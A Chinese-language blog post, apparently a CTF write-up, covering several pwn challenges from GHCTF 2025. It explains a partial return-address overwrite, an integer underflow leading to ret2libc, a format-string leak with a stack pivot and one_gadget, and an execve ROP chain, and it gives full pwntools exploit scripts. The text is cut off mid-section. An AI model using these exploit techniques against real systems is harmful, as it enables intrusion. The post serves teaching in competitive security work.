{"id":937,"date":"2025-03-03T13:09:19","date_gmt":"2025-03-03T05:09:19","guid":{"rendered":"http:\/\/8.141.27.105\/?p=937"},"modified":"2025-03-10T13:14:59","modified_gmt":"2025-03-10T05:14:59","slug":"ghctf-2025","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2025\/03\/03\/ghctf-2025\/","title":{"rendered":"GHCTF 2025 PWN\u90e8\u5206"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #f4f4f4;color:#f4f4f4\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #f4f4f4;color:#f4f4f4\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/03\/03\/ghctf-2025\/#Hello_world\" title=\"Hello_world\">Hello_world<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/03\/03\/ghctf-2025\/#ret2libc1\" title=\"ret2libc1\">ret2libc1<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/03\/03\/ghctf-2025\/#ret2libc2\" title=\"ret2libc2\">ret2libc2<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/03\/03\/ghctf-2025\/#%E7%9C%9F%E4%BC%9A%E5%B8%83%E7%BD%AE%E6%A0%88%E5%90%97%EF%BC%9F\" title=\"\u771f\u4f1a\u5e03\u7f6e\u6808\u5417\uff1f\">\u771f\u4f1a\u5e03\u7f6e\u6808\u5417\uff1f<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/03\/03\/ghctf-2025\/#ez_vm\" title=\"ez_vm\">ez_vm<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/03\/03\/ghctf-2025\/#my_v8\" title=\"my_v8\">my_v8<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/03\/03\/ghctf-2025\/#Fruit_Ninja\" title=\"Fruit Ninja\">Fruit Ninja<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Hello_world\"><\/span>Hello_world<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b7e\u5230\uff1a\u6709\u540e\u95e8\uff0c\u5f00\u4e86PIE\u4e0d\u80fd\u76f4\u63a5\u8986\u76d6\u6210\u540e\u95e8\u51fd\u6570\u5730\u5740\uff0c\u4f46\u662f\u65e0\u4f24\u5927\u96c5\uff0c\u540e\u95e8\u51fd\u6570\u4e0e\u539f\u8fd4\u56de\u5730\u5740\u53ea\u6709\u540e\u4e24\u4e2aB\u6709\u533a\u522b\uff0c\u8986\u76d6\u540e\u4e24\u4e2aB\u5373\u53ef\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/ZEU_J1V8C_7I@H32CZ0M.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"696\" height=\"176\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/ZEU_J1V8C_7I@H32CZ0M.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-938\"  sizes=\"auto, (max-width: 696px) 100vw, 696px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/8Y1@Z@M4FZ3Y3YN0B8NJ-1024x477.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"477\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/8Y1@Z@M4FZ3Y3YN0B8NJ-1024x477.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-939\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\ncontext.log_level = 'info'\nio = remote(\"node2.anna.nssctf.cn\",28230)\nio.send(cyclic(0x20+8)+b'\\xc1')\nio.interactive()\n<\/code><\/pre>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ret2libc1\"><\/span>ret2libc1<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<\/div>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/LJIEZ8U4IT8I49@D_N-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"751\" height=\"939\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/LJIEZ8U4IT8I49@D_N-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-941\"  sizes=\"auto, (max-width: 751px) 100vw, 751px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/L@@SIG1FOMS.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"648\" height=\"402\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/L@@SIG1FOMS.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-942\"  sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/div><\/figure>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<p class=\"wp-block-paragraph\">\u901a\u8fc7\u8d1f\u6570\u6ea2\u51fa\u62ff\u5230\u8db3\u591f\u7684money\uff0c\u7136\u540e\u4e70\u4e0b\u644a\u5b50\uff0c\u89e6\u53d1\u6f0f\u6d1e\u51fd\u6570\uff0c\u6253ret2libc\u5373\u53ef.<\/p>\n<\/div>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<p class=\"wp-block-paragraph\">exp:<\/p>\n<\/div>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nfrom LibcSearcher import *\ncontext.log_level = 'info'\noffset=0x40+8\npop_rdi=0x400d73\n#io = process(\"\/home\/monke\/PWN\/pwn2\")\nio = remote(\"node2.anna.nssctf.cn\",28377)\nelf=ELF(\"\/home\/monke\/PWN\/ghctf2025\/ret2libc1\/attachment\")\nlibc=ELF(\"\/home\/monke\/PWN\/ghctf2025\/ret2libc1\/libc.so.6\")\nmain_addr=elf.sym&#91;\"main\"]\nio.sendlineafter(\"6.check youer money\",b'1')\nio.sendlineafter(\"3.fragrans $20\",b'2')\nio.sendlineafter(\"How many flowers do you want to buy?\",b'-1000000')\nio.sendline(b'5')\npayload=cyclic(offset)+p64(pop_rdi)+p64(elf.got&#91;\"puts\"])+p64(elf.plt&#91;\"puts\"])+p64(elf.sym&#91;\"shop\"])\nio.sendlineafter('You can name it!!!',payload)\n\nputs = u64(io.recvuntil('\\x7f')&#91;-6:].ljust(8,b'\\x00'))\n \nprint(hex(puts))\n \n\nlibcbase=puts-libc.sym&#91;'puts']\nsystem=libcbase+libc.sym&#91;'system']\nbinsh = libcbase + next(libc.search(b\"\/bin\/sh\"))\n\nprint(hex(system))\nprint(hex(binsh))\n\npayload=cyclic(offset)+p64(pop_rdi)+p64(binsh)+p64(system)\nio.sendlineafter('You can name it!!!',payload)\n\nio.interactive()\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ret2libc2\"><\/span>ret2libc2<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<p class=\"wp-block-paragraph\"><br>\u6ca1\u6709pop_rdi\u7684gadget\uff0c\u610f\u5473\u7740\u4e0d\u80fd\u901a\u8fc7\u8f93\u51fa\u51fd\u6570\u6765\u6cc4\u9732libc\uff0c\u53ea\u80fd\u76f4\u63a5\u6cc4\u9732\u3002\u6ce8\u610f\u5230\u9898\u76ee\u6697\u793a\u4e86format\uff0c\u5e76\u4e14\u5728leave\u524d\u6267\u884c\u4e86\u5f88\u5947\u602a\u7684\u64cd\u4f5c\uff1alea rax\uff0c[rbp\uff0bbuf]\uff08\u4e0b\u56fe\u7ea2\u6846\uff09\u3002\u5982\u679c\u5728\u8f93\u5165\u7684\u65f6\u5019\u5f80buf\u5199\u5165\u201c%n$p\u201d\uff0c\u7136\u540e\u8986\u76d6\u8fd4\u56de\u5730\u5740\u5230format\u5904\u7684gadget\uff08\u4e0b\u56fe\u7eff\u6846\uff09\uff0c\u5c31\u80fd\u89e6\u53d1\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\u4efb\u610f\u8bfb\u5199\uff0c\u5982\u56fe\uff1a<\/p>\n<\/div>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/O7HM_7168SCVZ1XM80RA.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"992\" height=\"866\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/O7HM_7168SCVZ1XM80RA.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-943\"  sizes=\"auto, (max-width: 992px) 100vw, 992px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fc7\u8c03\u8bd5\u786e\u5b9a\u6cc4\u9732\u7684payload\uff08\u9009\u62e9libc_start_main+0x128\u6765\u6cc4\u9732\uff09:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/N4YP15X04XOATGQZAT9J-1024x299.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"299\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/N4YP15X04XOATGQZAT9J-1024x299.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-944\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>payload=b'%27$p'\npayload=payload.ljust(0x30,b\"\\x00\")+p64(0)+p64(0x401227)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u6837\u5c31\u80fd\u6c42\u51falibc\u57fa\u5740\u6253ret2libc\uff0c\u4f46\u662f\uff0c\u7531\u4e8e\u524d\u9762\u628a\u7a0b\u5e8f\u6d41\u52ab\u6301\u5230\u4e86\u51fd\u6570\u4e2d\u95f4\u5f00\u59cb\u8fd0\u884c\uff0c\u5c11\u4e86\u51fd\u6570\u5f00\u5934\u521d\u59cb\u5316\u6808\u5e27\u7684\u6b65\u9aa4\uff0c\u5bfc\u81f4\u518d\u4e00\u6b21leave\u7684\u8bddrsp\u4f1a\u88ab\u52ab\u6301\u5230rbp\uff0b0x8\u5904\uff0c\u6240\u4ee5rbp\u4e0d\u80fd\u968f\u4fbf\u586b\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e8e\u662f\u5e72\u8106\u5c06\u8ba1\u5c31\u8ba1\u6253\u6808\u8fc1\u79fb\uff0c\u63d0\u524d\u628arbp\u5e03\u7f6e\u5230bss\u6bb5\uff0c\u8fd9\u6837rsp\u4e5f\u4f1a\u88ab\u52ab\u6301\u5230bss\u6bb5\uff0c\u7136\u540e\u518d\u6b21\u8fdb\u5165read\u6765\u5199\u5165ROP\uff08\u8fd9\u4e00\u6b65\u540c\u6837\u4e5f\u4f1a\u8986\u76d6rbp\uff0c\u6ce8\u610f\u4f7frbp\u5c3d\u91cf\u5f80\u9ad8\u5730\u5740\u9760\uff0c\u8fd9\u6837\u8981\u6253onegadget\u7684\u8bdd\u5bb9\u6613\u6ee1\u8db3[rbp-0x70]=NULL\u8fd9\u79cd\u6761\u4ef6\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f46\u662f\u6253system\u5931\u8d25\u4e86\uff0c\u731c\u6d4b\u662f\u6808\u6761\u4ef6\u4e0d\u6ee1\u8db3\u3002\u7ed3\u5408\u9898\u76ee\u63d0\u793a\u8981\u6253onegadget\uff0c\u90a3\u5c31\u76f4\u63a5\u6253onegadget\uff0c\u53ef\u4ee5\u6253\u901a\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nfrom LibcSearcher import *\ncontext.log_level = 'debug'\noffset=0x30\ngadget=0x40124a\nbss=0x404060\n#io = process(\"\/home\/monke\/PWN\/ghctf2025\/ret2libc2\/ret2libc2\")\n\nio = remote(\"node2.anna.nssctf.cn\",28806)\n#gdb.attach(io,\"b read\")\nelf=ELF(\"\/home\/monke\/PWN\/ghctf2025\/ret2libc2\/ret2libc2\")\nlibc=ELF(\"\/home\/monke\/PWN\/ghctf2025\/ret2libc2\/libc.so.6\")\nog=&#91;0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]\n\n#leak\n#payload=b'f'*offset+p64(0x404060+0x30)+p64(0x40126D)+p64(0x40123b)\npayload=b'%27$p'\npayload=payload.ljust(0x30,b\"\\x00\")+p64(bss)+p64(0x401227)\nio.sendline(payload)\n\nio.recvuntil(\"0x\")\nlibc_start_main_128=io.recv(12)\nlibc_start_main_128=int(libc_start_main_128,16)\nprint(hex(libc_start_main_128))\nlibc_base=libc_start_main_128-0x29e40\npop_rdi=libc_base+0x2a3e5\nret=libc_base+0x29139\nsystem=libc_base+libc.sym&#91;'system']\nbinsh = libc_base + next(libc.search(b\"\/bin\/sh\"))\nprint(hex(libc_base))\nog=og&#91;0]+libc_base\n\n#gdb.attach(io)\n\n#attack\npayload2=cyclic(0x30)+p64(bss+0x300)+p64(og)\nio.send(payload2)\nio.interactive()\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E7%9C%9F%E4%BC%9A%E5%B8%83%E7%BD%AE%E6%A0%88%E5%90%97%EF%BC%9F\"><\/span>\u771f\u4f1a\u5e03\u7f6e\u6808\u5417\uff1f<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u9053\u5f88\u6709\u8da3\u7684\u9898,\u4e00\u5171\u5c31\u4e24\u51fd\u6570\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/7FSRWM877UXYHLWQUM0@A-1024x246.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"246\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/7FSRWM877UXYHLWQUM0@A-1024x246.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-947\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/L0TTUVSUB_JSPSEE6W-1-1024x304.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"304\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/L0TTUVSUB_JSPSEE6W-1-1024x304.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-948\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6709\u4e24\u4e2agadget\u51fd\u6570IDA\u6ca1\u663e\u793a\uff1a<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/4GPUFZ@7BTH2@WFW7EG-1024x658.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"658\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/4GPUFZ@7BTH2@WFW7EG-1024x658.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-949\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f88\u660e\u663e\u8fd9\u4e2a\u9898\u8981\u6253ret2syscall\uff0c\u4f46\u662f\u9898\u76ee\u57fa\u672c\u6ca1\u6709\u7ed9\u5e38\u89c4\u7684pop gadget\uff0c\u9700\u8981\u7cbe\u5fc3\u6784\u9020\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9700\u8981\u628a0x3b\u4f20\u7ed9rax\uff0cbinsh\u7684\u5730\u5740\u4f20\u7ed9rdi\uff0c\u7136\u540e\u8c03\u7528syscall\u3002<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<p class=\"wp-block-paragraph\">\u6ce8\u610f\u5230\u4e0b\u56fe\u7eff\u6846\u4e2d\u7684gadget\u4ea4\u6362\u4e86rax\u548cr13\u7684\u503c\uff0c\u901a\u8fc7gadgets\u51fd\u6570\u91cc\u7684pop r13\u53ef\u4ee5\u63a7\u5236r13\uff0c\u4e5f\u5c31\u662f\u53ef\u4ee5\u95f4\u63a5\u63a7\u5236rax\u3002<\/p>\n<\/div>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/LPYHKQ3KG1E4A53KFILC-1024x501.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"501\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/LPYHKQ3KG1E4A53KFILC-1024x501.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-950\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540egadgets\u51fd\u6570\u4e2d\u4e5f\u6709pop rdi\uff0c\u9898\u76ee\u4f1a\u6253\u5370ret\u7684\u6808\u5730\u5740\uff0c\u6240\u4ee5\u53ef\u4ee5\u5f80\u6808\u4e0a\u5199\u5165binsh\uff0c\u628a\u5730\u5740pop\u7ed9rdi\u5c31\u884c\u3002\uff0c\u7ecf\u8fc7\u52a8\u8c03\uff0cpayload\u6784\u9020\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload=p64(pop_rsi_rdi_rbx_r13_r15_jmp_r15)+p64(ret+0x18)+p64(0)+p64(0x3b)+p64(xchg_rax_r13_jmp_rsp)+p64(syscall)+b'\/bin\/sh\\x00'<\/code><\/pre>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<p class=\"wp-block-paragraph\">\u4f46\u662f\u4f1a\u5361\u4f4f\uff0c\u6000\u7591\u662f\u56e0\u4e3arsi\u548crdx\u6ca1\u6e05\u96f6\uff0c\u5982\u56fe\uff1a<\/p>\n<\/div>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/17NZFRN4Q94IANET8QN.png'><img class=\"lazyload lazyload-style-1\" 